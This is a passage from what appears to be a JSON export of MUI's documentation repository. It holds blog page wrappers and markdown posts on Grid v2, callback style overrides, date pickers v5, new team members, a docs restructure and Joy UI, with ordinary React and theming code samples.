`item` prop.\n\n## What's new\n\nFor v2, the `Grid` component has been rewritten from scratch using CSS variables and `calc()`, which help address many of the issues listed above.\n\n### 💥 Breaking change\n\nThe negative margin in the new `Grid` spreads equally on all sides by default.\nThis is the same as the `Grid` in Material UI v4.\n\n:::info\nWe believe that the migration from Grid v1 to v2 will be smooth for most users.\nTo get started right away, head over to the [Grid v2 migration guide](/material-ui/migration/upgrade-to-grid-v2/).\n:::\n\n### 🚀 New features\n\n#### [Disable the scrollbar](https://v5.mui.com/material-ui/react-grid/#disable-the-scrollbar)\n\nA new prop called `disableEqualOverflow` solves the problem of an unwanted scrollbar appearing on small viewports.\n\n#### [Offset](/material-ui/react-grid/#offset)\n\nWe have added the long-awaited offset feature to v2 of the `Grid`.\nThanks to CSS variables, we're able to implement this feature with just a few lines of code.\n\n### ✨ Improvements\n\n#### Simplifying logic\n\nSome parts of the layout calculation are delegated to CSS by using CSS variables and `calc()`.\nTaken together, they significantly reduce the need for JavaScript and make the component scalable.\n\nThe `Grid` v1 calculates the width by reading the value from the React context.\nWith CSS variables in place, we can remove the React context entirely and hand over the work to CSS instead:\n\n```js\n{\n  // --Grid-columns is defined in the grid container\n  width: `calc(100% * ${value} / var(--Grid-columns))`,\n}\n```\n\nIn v1 of the `Grid`, grid items have no information about the padding they should have, because the `spacing` prop is defined on the grid container.\nSo the simplest way to control the padding is to use the CSS child combinator `>` on the container:\n\n```js\nfunction getOffset(val) {\n  const parse = parseFloat(val);\n  return `${parse}${String(val).replace(String(parse), '') || 'px'}`;\n}\n// ...The code is shorten for readability\n({\n  [`& > .${gridClasses.item}`]: {\n    // Grid item's padding is controlled by its container\n    paddingTop: getOffset(themeSpacing),\n  },\n});\n```\n\nIn v2, the communication between the grid container and its items happens via CSS instead of JavaScript, so that the logic behind these components is better separated.\n\n- The grid container takes care of generating variables based on the `spacing` prop:\n  ```js\n  // The code is simplified for readability\n  {\n    '--Grid-rowSpacing': spacingProp,\n    '--Grid-columnSpacing': spacingProp,\n  }\n  ```\n- The grid item then makes references to those variables:\n  ```js\n  {\n    padding: `calc(var(--Grid-rowSpacing) / 2) calc(var(--Grid-columnSpacing) / 2)`,\n  }\n  ```\n\nThis is a very good use case for applying CSS variables when it comes to components that have a parent-child relationship and also support media query customization.\n\n#### Remove unnecessary props\n\nIn v2, `Grid` is always an item—similar to the Flexbox item in CSS—so the `item` prop is no longer needed.\n\nThe new `Grid` automatically handles the sizing of truncated text that's too long for its container, so we've also removed the `zeroMinWidth` prop since it's no longer needed:\n\n```diff\n <Grid container spacing={2}>\n-  <Grid item zeroMinWidth><Typography>Long text...</Typography></Grid>\n+  <Grid><Typography>Long text...</Typography></Grid>\n </Grid>\n```\n\n#### Nested grid\n\nWith the addition of CSS variables and the removal of the `item` prop, there are no more limitations when it comes to creating nested grids.\n\nAs a bonus, a grid container automatically inherits row and column spacing values from the root grid container, unless they are specified directly on the component.\n\n```js\nimport Grid from '@mui/material/Unstable_Grid2';\n\n// root grid container\n<Grid container spacing={2}>\n  <Grid>...</Grid>\n  <Grid container>\n    {/* inherits spacing from the root container */}\n    <Grid>...</Grid>\n    <Grid>...</Grid>\n  </Grid>\n  <Grid>...</Grid>\n</Grid>;\n```\n\n## Future plan and migration\n\nSince the `Grid` has been rewritten from scratch for v2, it is currently considered _unstable_ as we give the community time to try it out and offer feedback.\nWe will make it stable and deprecate v1 in the next major release of Material UI.\n\nReady to make the jump?\nCheck out the [Grid v2 documentation](/material-ui/react-grid/) and the [Grid v2 migration guide](/material-ui/migration/upgrade-to-grid-v2/).\n\n<hr />\n\nThat's it for today! Happy coding 👨‍💻👩‍💻!.\n\nI hope this new Grid implementation will make your life easier. Don't forget to share this update with your friends and colleagues.\n\nTo get more updates like this in the future, **subscribe to our newsletter** at the bottom of this page.\n"
  },
  {
    "path": "docs/pages/blog/callback-support-in-style-overrides.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './callback-support-in-style-overrides.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/callback-support-in-style-overrides.md",
    "content": "---\ntitle: Introducing callback support in style overrides\ndescription: We're excited to introduce callback support for global theme overrides in this minor version update!\ndate: 2022-01-31T00:00:00.000Z\nauthors: ['siriwatknp']\ntags: ['Material UI', 'Product']\nmanualCard: true\n---\n\n[Material UI v5.3.0](https://github.com/mui/material-ui/releases/tag/v5.3.0) introduces the ability to write a callback in style overrides (global theming), giving you full control of component customization at the theme level.\n\nWhy is using a callback better than the existing plain object? Let me explain from the beginning…\n\n## The problems\n\nIn v4, the style engine library was JSS which had some limitations.\nStyle overrides were not able to support dynamic props via a callback so we relied on using classes. Take a look at the [`Chip` classes](https://github.com/mui/material-ui/blob/97d32b0ff3fae4537c20c79e619f132f4a5c5cbb/packages/mui-material/src/Chip/chipClasses.ts) for example – there are more than 20 classes that are incomplete if we count the permutation of elements (`root | avatar | icon | label | deleteIcon`), size (`small | medium | large`), and color (`primary | secondary | ...`).\nThis leads to a poor theming experience because developers need to know which specific key to customize.\n\nWe believe it would be better for developers if they could create custom styles by reading the component props, without ever needing to know what key they should use.\n\nFortunately, it is now possible in v5 because of the new style engine powered by emotion. Theming is simpler and more flexible. You only need to know the component's slot name and then provide an **object** (static overrides) or a **callback** (dynamic overrides).\n\n## Using callback in `styleOverrides`\n\nThe callback gives you the `props` that the slot received. Most of the time you would use:\n\n- `props.ownerState`: the combination of runtime props and internal states.\n- `props.theme`: the theme object you provided to `ThemeProvider`, or the default one.\n\n```jsx\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\n<ThemeProvider\n  theme={createTheme({\n    components: {\n      MuiChip: {\n        styleOverrides: {\n          // you can now use the theme without creating the initial theme!\n          root: ({ ownerState, theme }) => ({\n            padding: {\n              small: '8px 4px',\n              medium: '12px 6px',\n              large: '16px 8px',\n            }[ownerState.size],\n            ...(ownerState.variant === 'outlined' && {\n              borderWidth: '2px',\n              ...(ownerState.variant === 'primary' && {\n                borderColor: theme.palette.primary.light,\n              }),\n            }),\n          }),\n          label: {\n            padding: 0,\n          },\n        },\n      },\n    },\n  })}\n>\n  ...your app\n</ThemeProvider>;\n```\n\n> 💡 The side benefit of using a callback is that you can use the runtime theme without creating the outer scoped variable.\n\n### TypeScript\n\nThe callback is type-safe.\n\n- `ownerState`: `ComponentProps` interface, for example `ButtonProps`, `ChipProps`, etc.\n- `theme`: `Theme` interface from `@mui/material/styles`.\n\n```tsx\n{\n  MuiChip: {\n    styleOverrides: {\n      // ownerState: ChipProps\n      // theme: Theme\n      root: ({ ownerState, theme }) => ({...}),\n    },\n  }\n}\n```\n\nIf you extend the interface via module augmentation like this:\n\n```ts\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsVariantOverrides {\n    dashed: true;\n  }\n}\n```\n\nyou will be able to see those props in `ownerState.variant` 🎉. `theme` can be augmented as well.\n\n## Experimental `sx` function\n\nInitially, `sx` was designed to be a prop that enables you to inject styles with a shorthand notation to components created with the `styled` API:\n\n```jsx\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\n\nconst Label = styled('span')({\n  fontWeight: 'bold',\n  fontSize: '0.875rem',\n})\n\n<Box sx={{ display: 'flex' }}>\n  <Label sx={{ color: 'text.secondary' }}>Label</Label>\n</Box>;\n```\n\n:::info\nAll Material UI and Joy UI components are created with the `styled` API, so they accept `sx` prop by default.\n:::\n\n`sx` helps developers write less code and be more productive once they are familiar with the API. With the callback support in `styleOverrides`, it is now possible to use an `sx`-like syntax in global theme overrides.\n\nAll you need is to use the [`unstable_sx`](/system/styled/#how-can-i-use-the-sx-syntax-with-the-styled-utility) function from the `theme`. In the following example, the `sx` is used to style the `Chip` component:\n\n```jsx\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\n<ThemeProvider\n  theme={createTheme({\n    components: {\n      MuiChip: {\n        styleOverrides: {\n          root: ({ theme }) =>\n            theme.unstable_sx({\n              px: '12px', // shorthand for padding-left & right\n              py: '6px', // shorthand for padding-top & bottom\n              fontWeight: 500,\n              borderRadius: '8px',\n            }),\n          label: {\n            padding: 0,\n          },\n        },\n      },\n    },\n  })}\n>\n  ...your app\n</ThemeProvider>;\n```\n\nIf I want to add more styles based on these conditions:\n\n- border color `palette.text.secondary` is applied when `<Chip variant=\"outlined\" />`.\n- font size is `0.875rem` in mobile viewport, `0.75rem` in larger than mobile viewport when `<Chip size=\"small\" />`.\n\nAn array can be used as a return type to make the code easier to add/remove conditions:\n\n```js\n// The <ThemeProvider> is omitted for readability.\n{\n  root: ({ ownerState, theme }) => [\n    theme.unstable_sx({\n      px: '12px',\n      py: '6px',\n      fontWeight: 500,\n      borderRadius: '8px',\n    }),\n    ownerState.variant === 'outlined' && ownerState.color === 'default' &&\n      theme.unstable_sx({\n        borderColor: 'text.secondary',\n      }),\n    ownerState.size === 'small' &&\n      theme.unstable_sx({\n        fontSize: { xs: '0.875rem', sm: '0.75rem' },\n      })\n  ],\n}\n```\n\n<hr />\n\n**That's it for today!** Happy styling 💅.\n\nI hope this small update makes your customization experience better than ever. Don't forget to share this update with your friends and colleagues.\n\nTo get more updates like this in the future, **subscribe to our newsletter** at the bottom of this page.\n\n## Read more\n\n- [Component theming](/material-ui/customization/theme-components/)\n- [All supported shorthands in `sx`](/system/getting-started/the-sx-prop/#theme-aware-properties)\n- [`sx` performance tradeoff](/system/getting-started/usage/#performance-tradeoffs)\n- [`sx` with `styled`](/system/styled/#difference-with-the-sx-prop)\n"
  },
  {
    "path": "docs/pages/blog/danail-hadjiatanasov-joining.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './danail-hadjiatanasov-joining.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/danail-hadjiatanasov-joining.md",
    "content": "---\ntitle: Danail Hadjiatanasov joins MUI\ndescription: We are excited to share that Danail Hadjiatanasov has joined MUI as part of the enterprise team. This was his first full-time week.\ndate: 2020-10-23T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nWe are excited to share that [Danail Hadjiatanasov](https://x.com/danail_h) has joined MUI as part of the enterprise team. This was his first full-time week.\n\nFor the past 3 years Danail has been working in a company called [Backbase](https://www.backbase.com/) where he was responsible for building a UI library based on Angular that was specifically designed for banks. The UI library and its corresponding design system were sold under a commercial license, and today some of the biggest names in the banking industry have web applications powered by those UI components (RBC, Central 1, Deutsche Bank, BNP Paribas, and others).\n\nAlthough he was working with Angular, his true passion is React, having hacked side projects with it. Now he will be able to combine these two talents, and help take MUI X to the next level!\n\nDanail has already landed his first feature in the data grid: [column reordering](https://mui.com/x/react-data-grid/columns/#column-reorder):\n\n<video autoplay muted loop playsinline style=\"margin-bottom: 24px;\">\n  <source src=\"/static/blog/danail-hadjiatanasov-joining/reorder.mp4\" type=\"video/mp4\" />\n</video>\n\nHe's now actively working on new features for the data grid.\n\nThe enterprise team will continue developing the data grid component, and progressively extend to new advanced components as we grow the team. Here's a quick view of [the enterprise roadmap](https://github.com/orgs/mui/projects/35).\n\nWe couldn't be more excited to have Danail on the team! You can follow him on [X](https://x.com/danail_h).\n"
  },
  {
    "path": "docs/pages/blog/danilo-leal-joining.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './danilo-leal-joining.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/danilo-leal-joining.md",
    "content": "---\ntitle: Danilo Leal joins MUI\ndescription: We are excited to share that Danilo Leal has joined MUI.\ndate: 2021-07-15T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nWe are excited to share that [Danilo Leal](https://daniloleal.co/) has joined MUI!\nHe started a couple of days ago as a Lead Designer.\n\nBefore joining MUI, he worked as a designer at Loggi, a Brazilian logistics unicorn.\nHe has spent the last five years diving into product design, product strategy, and design systems.\nDanilo strongly believes that code is a fundamental piece of a designer's work. It is, after all, the real medium through where users experience the product.\nFor instance, one of his continuous contributions to Loggi was deep-diving into MUI's codebase to fulfill Loggi's customization needs.\n\nHis aspirations are well aligned with where we want to push the company in the long term.\nHe wants to challenge the status quo.\nHe wants to push the envelope around how products are built.\nWe believe there are two high potential opportunities to explore: 1. how designers and developers collaborate, 2. how accessible is creating custom UIs.\nHis design [challenge assignment](https://www.figma.com/file/UPgXH2mdWqV8QzAuN5VM37/Danilo-assignment) (done under a few hours) gave us confidence that Danilo is exactly who the role needs.\n\nWhile we can't predict the future, he's initially leading the design rebranding effort.\nThen, he will likely focus on a [second design system](https://github.com/mui/material-ui/issues/22485).\n\nWe couldn't be more excited to have Danilo on the team! He's the first designer to join us, ever.\nA focus area with high potential 🌈 and that we have underinvested in for too long.\nSee the other areas we want to invest in: we are [hiring](/careers/#open-roles).\n"
  },
  {
    "path": "docs/pages/blog/date-pickers-stable-v5.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './date-pickers-stable-v5.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/date-pickers-stable-v5.md",
    "content": "---\ntitle: The MUI X Date and Time Pickers get a stable v5 release\ndescription: Migrate to the latest version for improved DX, customizability, and API consistency.\ndate: 2022-09-19T00:00:00.000Z\nauthors: ['alexfauquette', 'josefreitas']\ntags: ['MUI X', 'Product']\nmanualCard: true\n---\n\nAbout four months ago, we moved the date and time pickers from `@mui/lab` and released the first alpha version of the date pickers package.\nWe have focused on improving stability and developer experience since then, and now, we're happy to announce the first official `@mui/x-date-pickers` [v5 release](https://github.com/mui/mui-x/releases/tag/v5.17.0).\n\n## TL;DR\n\n- The beta phase is over. You can now download `v5.0.0`.\n- Dozens of bugs have been fixed since the first alpha.\n- DX and overall API consistency have been improved.\n- Improved customizability.\n- Follow the [installation instructions](https://mui.com/x/react-date-pickers/quickstart/) and the [migration guide](https://mui.com/x/migration/migration-pickers-lab/).\n\n## What's changed?\n\n### Documentation\n\nWe revamped the [Quickstart](https://mui.com/x/react-date-pickers/quickstart/) page to ease the burden with installation, and improved sections that are key to customization, like the documentation of component [slots](https://mui.com/x/react-date-pickers/custom-components/).\n\n### Bug fixes and other issues\n\nMore than 150 issues were solved during the pre-releases (alpha/beta), including the epic [refactoring of the date/time selection behavior](https://github.com/mui/mui-x/pull/4408), which has clarified edge cases about how a date is selected, accepted, dismissed, and which callbacks are triggered when.\n\nA big thanks to all the contributors who took the time to clarify the edge cases they faced. It's been a huge help in refining the components behavior.\n\n<img src=\"/static/blog/date-pickers-stable-v5/monkeyuser-237-fov.png\" loading=\"lazy\" alt=\"Bug illustration from monkeyuser.com\" width=\"1600\" height=\"844\" />\n\n### Better APIs and improved customization\n\nThe property names and customization strategies were standardized to flatten the learning curve.\n\nFor example, the `MonthPicker`'s prop `onMonthChange` and the `YearPicker`'s prop `onYearChange` have both been renamed to `onChange`.\n\nWe also added new customizable slots:\n\n- `ActionBar` lets you customize the actions below the picker. It replaces the props `clearable`, `showTodayButton`, `cancelText`, `okText`\n- `PaperContent` lets you add custom elements in the desktop view\n- `Tabs` lets you customize the tab used to switch between date and time view\n\n### Integrated localization\n\nIt's not obvious at first glance, but the pickers do contain some textual information, including action buttons as well as aria-labels for accessibility support.\n\nWe integrated a [new localization](https://mui.com/x/react-date-pickers/localization/#translation-keys) pipeline similar to the one used by the Data Grid.\nIt lets you import translations directly into the main theme in a few lines.\nAnd thanks to the amazing contributors, translations for 11 languages are already available.\n\n```jsx\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport { DataGrid, bgBG as dataGridBgBG } from '@mui/x-data-grid';\nimport { bgBG as coreBgBG } from '@mui/material/locale';\nimport bgLocale from 'date-fns/locale/bg';\nimport { CalendarPicker, LocalizationProvider, bgBG } from '@mui/x-date-pickers';\nimport { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';\n\nconst theme = createTheme(\n  {\n    palette: {\n      primary: { main: '#1976d2' },\n    },\n  },\n  bgBG, // x-date-pickers translations\n  dataGridBgBG, // x-data-grid translations\n  coreBgBG, // core translations\n);\n```\n\n## Community migration\n\nWith all those changes, we wondered if the community has been interested in the new versions.\n\nAccording to npm download data, less than 40% of the community still uses the versions in `@mui/lab` (alpha.0 and alpha.1).\nSo a significant share has already migrated.\n\nAnd the adoption speed across versions is very encouraging.\nOver 40% of users are already using the beta versions.\n\n<img src=\"/static/blog/date-pickers-stable-v5/date-picker-versions.png\" width=\"1846\" height=\"977\" loading=\"lazy\" alt=\"Evolution of downloaded version of @mui/x-data-pickers\" />\n\n<p class=\"blog-description\">Relative distribution of `@mui/x-date-pickers` versions between June and August.</p>\n\n## Installation and migration from `@mui/lab`\n\nYou can find the installation instructions on the [Quickstart](https://mui.com/x/react-date-pickers/quickstart/) page.\nIf you are migrating from the `@mui/lab` package, we've prepared a [migration guide](https://mui.com/x/migration/migration-pickers-lab/) to support you, including a codemod to replace the date pickers declarations.\n\n## What to expect next?\n\nAfter working on stability and developer experience, we're now pushing to improve the usability of the components.\n\nWe've been exploring different approaches and implementations for the date fields, and we'll soon release a v6 alpha version to start iterating on the new and improved components.\n\nYou can expect support for v5 stable release with patches for critical bugs, but we encourage the community to help us build the next generation of date pickers and migrate whenever possible to the v6 pre-releases.\n\nIf you want to help steer the direction of the new components, please consider [contacting us](https://forms.gle/vsBv6CLPz9h57xg8A) to schedule a 30-minute user interview session. We're working on MUI X v6, and we'd love to hear more about your pain points and use cases.\n"
  },
  {
    "path": "docs/pages/blog/december-2019-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './december-2019-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/december-2019-update.md",
    "content": "---\ntitle: December 2019 Update\ndescription: Here are the most significant improvements in December.\ndate: 2020-01-07T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nHere are the most significant improvements in December:\n\n- 🚨 We have introduced a new [Alert](https://v4.mui.com/components/alert/) component in the lab, thanks to **[@dimitropoulos](https://github.com/dimitropoulos)** ([#18702](https://github.com/mui/material-ui/pull/18702)). The component also supports composition with a [Snackbar](https://v4.mui.com/components/snackbars/#customized-snackbars).\n\n  ![Alert](/static/blog/december-2019-update/alert.png)\n\n  <p class=\"blog-description\">Standard variant</p>\n\n  ![Alert](/static/blog/december-2019-update/alert-filled.png)\n\n  <p class=\"blog-description\">Filled variant</p>\n\n- 👤 We have added [stacking](https://v4.mui.com/components/avatars/#grouped) support to the avatar.\n\n  ![Stacking](/static/blog/december-2019-update/stacking.png)\n\n- ↕️ We have added [vertical](https://v4.mui.com/components/button-group/#vertical-group) support to the button group.\n\n  ![Vertical button](/static/blog/december-2019-update/vertical-buttons.png)\n\n- 🌎 We have almost doubled the number of supported [locales](https://v4.mui.com/guides/localization/#supported-locales) from 13 to 22, thanks to our awesome contributors. Help us double this number next month 🚀!\n\nBut this summary is just scratching the surface. We have accepted 168 commits from 73 different contributors. We have changed 1,059 files with 13,468 additions and 8,584 deletions.\n\n## Our roadmap intent for January\n\n_(We'll do our best, no guarantee!)_\n\n- 💄 We will keep working on a new [pagination](https://github.com/mui/material-ui/pull/19049) component. You can already [preview it](https://deploy-preview-19049--material-ui.netlify.app/components/pagination/) (lead by **[@mbrookes](https://github.com/mbrookes)**).\n\n  ![Pagination](/static/blog/december-2019-update/pagination.png)\n\n- 📅 We will keep working on a major upgrade of the [date/time picker](https://github.com/mui/material-ui-pickers/issues/1293) components. We are working on desktop and range support (lead by **[@dmtrKovalenko](https://github.com/dmtrKovalenko)**).\n\n  ![Date picker](/static/blog/december-2019-update/date-picker.png)\n\n- 🧮 We will keep working on a new [data grid](https://github.com/mui/material-ui/pull/18872) component. You can already [preview it](https://deploy-preview-18872--material-ui.netlify.app/components/data-grid/) (lead by **[@oliviertassinari](https://github.com/oliviertassinari)**).\n\n  ![Data grid](/static/blog/december-2019-update/data-grid.png)\n\n❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n"
  },
  {
    "path": "docs/pages/blog/docs-restructure-2022.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './docs-restructure-2022.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/docs-restructure-2022.md",
    "content": "---\ntitle: \"Our docs just got a major upgrade—here's what that means for you\"\ndescription: Each of MUI's products now has its own dedicated documentation, making it easier than ever to find exactly what you need.\ndate: 2022-04-06T00:00:00.000Z\nauthors: ['danilo-leal']\ntags: ['Product']\nmanualCard: true\n---\n\nAs MUI continues to grow beyond our flagship product, Material UI (we [rebranded the company](/blog/material-ui-is-now-mui/) last year as a first step), it has become clear that the documentation for our products can no longer all live under one roof.\n\nThat's why we're excited to announce that we are shipping a major upgrade to our documentation, to make it easier than ever to find exactly what you need—no matter which MUI products you're working with.\n\n## Wait… what MUI products are you talking about?\n\nWe currently offer two main product lines:\n\n- MUI Core—a collection of foundational component libraries, including:\n  - **Material UI** —components that implement Google's Material Design\n  - **Base UI** —unstyled components for implementing your own design system\n  - **MUI System** —CSS utilities for quickly laying out design systems\n- **MUI X**—a collection of advanced components for complex use cases, including:\n  - **MUI X Data Grid** —fast, feature-rich, extendable React data table\n  - **MUI X Date and Time Pickers** —interface control components for selecting dates and times\n\n## What has changed?\n\nAll MUI products still live under the [mui.com](https://mui.com) domain, but each of them now has its own respective URL and documentation.\nWe added an identifier and menu to the upper-left corner of the docs for improved navigation:\n\n<img src=\"/static/blog/docs-restructure-2022/docs-separation.png\" width=\"1200\" height=\"620\" loading=\"lazy\" alt=\"Screenshot of the product identifier menu\" />\n\nAs for the URLs, this is how they look now:\n\n- MUI Core:\n  - Material UI: [https://mui.com/material-ui/](https://mui.com/material-ui/getting-started/)\n  - Base UI: [https://mui.com/base-ui/](https://v6.mui.com/base-ui/getting-started/)\n  - MUI System: [https://mui.com/system/](https://mui.com/system/getting-started/)\n- MUI X:\n  - Data Grid: [https://mui.com/x/react-data-grid/](https://mui.com/x/react-data-grid/)\n  - Date and Time Pickers: [https://mui.com/x/react-date-pickers/](https://mui.com/x/react-date-pickers/)\n\n:::info\nThe date and time pickers have been promoted from the lab (`@mui/lab`) to MUI X—still available under the MIT license.\nTo learn more, check out the [blog post about the newest MUI X components](/blog/lab-date-pickers-to-mui-x/).\n:::\n\n### Improved search experience\n\nThe documentation restructuring ranks search results based on the product that you are currently looking at.\nFor example, if you are looking at Material UI documentation, when you press <kbd><kbd class=\"key\">⌘</kbd>+<kbd class=\"key\">K</kbd></kbd> (or <kbd><kbd class=\"key\">Ctrl</kbd>+<kbd class=\"key\">K</kbd></kbd> on Windows) and type a keyword, you will find that most of the results are related to Material UI.\n\nWe have also added product labels for Material UI and Base UI in case it's unclear which library the search results refer to.\n\n<img src=\"/static/blog/docs-restructure-2022/docs-product-label.png\" width=\"1200\" height=\"620\" loading=\"lazy\" alt=\"Screenshot of the search results displaying product labels per result\" />\n\nAs a side benefit of the documentation restructuring, we have seen a huge improvement in the quality of search results related to MUI X. Data Grid users can now see comprehensive results when searching for features. Previously a search for pagination returned results for the Material UI pagination component, followed by those for the data grid:\n\n<img src=\"/static/blog/docs-restructure-2022/docs-search-before.png\" width=\"1200\" height=\"681\" loading=\"lazy\" alt=\"Screenshot of search results for pagination before the documentation restructuring, returning at first results for the Material UI pagination component followed by those for the data grid\" />\n\nNow when viewing the MUI X section, only results related to the data grid pagination feature are returned:\n\n<img src=\"/static/blog/docs-restructure-2022/docs-search-after.png\" width=\"1200\" height=\"681\" loading=\"lazy\" alt=\"Screenshot of search results for pagination after the documentation restructuring. Now when viewing the MUI X section, only results related to the data grid pagination feature are returned.\" />\n\n## Moving forward\n\nThis separation will become increasingly beneficial as each product grows, such as additional components in MUI X and Base UI.\n\nAs we move forward working on [our second design system package](https://deploy-preview-30686--material-ui.netlify.app/experiments/), the separation will make it possible for us to build the documentation for each system using its default styles—so the docs themselves will serve as examples of their corresponding component libraries.\n\nIf you have any feedback or suggestions, we definitely want to hear from you.\nPlease open an issue in the [mui/material-ui repository on GitHub](https://github.com/mui/material-ui/issues), and be sure to start the **Title** with [docs].\n\nHappy developing! 👩‍💻\n"
  },
  {
    "path": "docs/pages/blog/first-look-at-joy.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './first-look-at-joy.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/first-look-at-joy.md",
    "content": "---\ntitle: First look at Joy UI 🥳\ndescription: A sneak peek at MUI's new starting point for your design system.\ndate: 2022-06-08T00:00:00.000Z\nauthors: ['danilo-leal', 'siriwatknp']\ntags: ['Joy UI', 'Product']\nmanualCard: true\n---\n\n<a href=\"/joy-ui/getting-started/\"><img src=\"/static/blog/first-look-at-joy/card.png\" width=\"1200\" height=\"600\" alt=\"First look at Joy UI: a new starting point for your design system.\" /></a>\n\nIf you're a close follower of everything MUI, you might be aware that we've been working on a new design system.\nIf not, then this post will give you a first look at **Joy UI**－MUI's new starting point for your design system!\n\nIf you've ever considered using Material UI because of the developer experience, reliability, and completeness, but hesitated because of the design, this is great news for you.\nJoy UI offers all of that, but with a modern look and feel, ease of customization, and lower overhead by not carrying unused Material Design specific code and styling.\n\n## How does Joy UI relate to Material UI?\n\nYou might naturally associate MUI with Material UI, which despite the similar names, are separate things.\nMaterial UI is MUI's React implementation of Google's Material Design.\n\nOver time Material UI has established itself as the go-to library for quickly breathing life into products, mostly thanks to its design, customizability, and documentation.\nHowever, the components do come by default with the 2018 Google look and feel that is no longer as popular as it once was.\nAnd as we've confirmed with [our latest Developer Survey](/blog/2021-developer-survey-results/#what-are-your-most-important-criteria-for-choosing-a-ui-library), design quality is one of the most important elements that developers consider when choosing a UI library.\n\n## Why not just build a new Material UI theme?\n\nOne of the main objectives with this new product is to break away from Material Design.\nA different theme would still require you and your team to have at least some understanding of how Material Design is structured, and how that is expressed in Material UI.\nWith Joy, you're able to start with a fresh design by default.\n\nWe also had many ideas for improving the experience of developing design systems, so a separate package is an opportunity to prototype and test some of these new features without running the risk of compromising the experience of the thousands of teams that use Material UI today.\n\nMaterial UI and Joy UI still share many of the same conventions and features.\nWe've done this not only to decrease the learning curve for adopting Joy UI, but also because we believe that the conventions we've established represent the ideal developer experience for working with design systems.\n\n:::info\nAny new DX feature introduced in Joy UI will eventually be reproduced in Material UI, and vice versa.\n:::\n\n## What new features does Joy UI offer?\n\nAside from a fresher look and feel for your upcoming project, here are a few features included in the alpha version of Joy UI:\n\n### Global variants\n\nInstead of defining variants at the component level, Joy UI defines them at the global level.\nThis sounds bold at first, but the more we experiment the more it starts to make sense.\n[Global variants](/joy-ui/main-features/global-variants/) mostly affect three CSS properties: color, background, and border.\n\nWhat this means is that you're able to switch between the same set of variants in any component, more easily maintaining consistency across your app.\nThe four variants available in the components are `solid`, `soft`, `outlined`, and `plain`.\n\n<a href=\"/joy-ui/react-button/#variants\">\n  <img src=\"/static/blog/first-look-at-joy/global-variants.png\" width=\"1200\" height=\"280\" loading=\"lazy\" alt=\"Screenshot of button component using all available variants.\" />\n</a>\n\n```jsx\n<Button variant=\"solid\">\n<Button variant=\"soft\">\n<Button variant=\"outlined\">\n<Button variant=\"plain\">\n```\n\n### Automatic adjustment\n\nWe meticulously constructed the CSS variables for each component so you can seamlessly compose them with little customization necessary.\nOne good example is the input component, where the border radius of the input's children automatically adapts to that of the input.\nThese small details mean the components adapt to different scenarios, which saves considerable time when customizing the components by avoiding manual adjustments.\n\n<img src=\"/static/blog/first-look-at-joy/component-integration.png\" width=\"1200\" height=\"280\" loading=\"lazy\" alt=\"Screenshot of two text inputs, one being native from Joy UI and another with border-radius customized\" />\n\n<p class=\"blog-description\">When customizing the input's border radius, the icon button inside of it adapts automatically.</p>\n\n```jsx\n<Input\n  placeholder=\"password\"\n  endDecorator={<IconButton size=\"sm\"><Visibility /></IconButton>}\n/>\n\n<Input\n  size=\"lg\"\n  placeholder=\"password\"\n  endDecorator={<IconButton><Visibility /></IconButton>}\n  sx={{ '--Input-radius': '24px' }}\n/>\n```\n\nJoy UI doesn't sacrifice customization in order to have these automatic adjustments.\nYou're still able to override the style completely via the usual CSS overrides, or even adjust the predefined CSS variables with the `sx` prop.\n\n### Perfect dark mode, for server-side rendering\n\nJoy UI provides an effective way to prevent UI flicker when users refresh or re-enter a page with dark mode enabled.\nThe out-of-the-box CSS variables support allows every color scheme to be rendered at build time, inserting the selected color scheme and mode before the browser renders the DOM.\n\nWhat's more, it provides a component called `InitColorSchemeScript` that enables you to have perfect functioning dark mode in various React frameworks, such as Next.js, Gatsby, and Remix.\n\n```js\n// A Next.js example\nimport Document, { Html, Head, Main, NextScript } from 'next/document';\nimport InitColorSchemeScript from '@mui/joy/InitColorSchemeScript';\n\nexport default class MyDocument extends Document {\n  render() {\n    return (\n      <Html data-color-scheme=\"light\">\n        <Head>...</Head>\n        <body>\n          <InitColorSchemeScript />\n          <Main />\n          <NextScript />\n        </body>\n      </Html>\n    );\n  }\n}\n```\n\n### Unlimited color schemes\n\nBeyond light and dark mode toggling, Joy UI 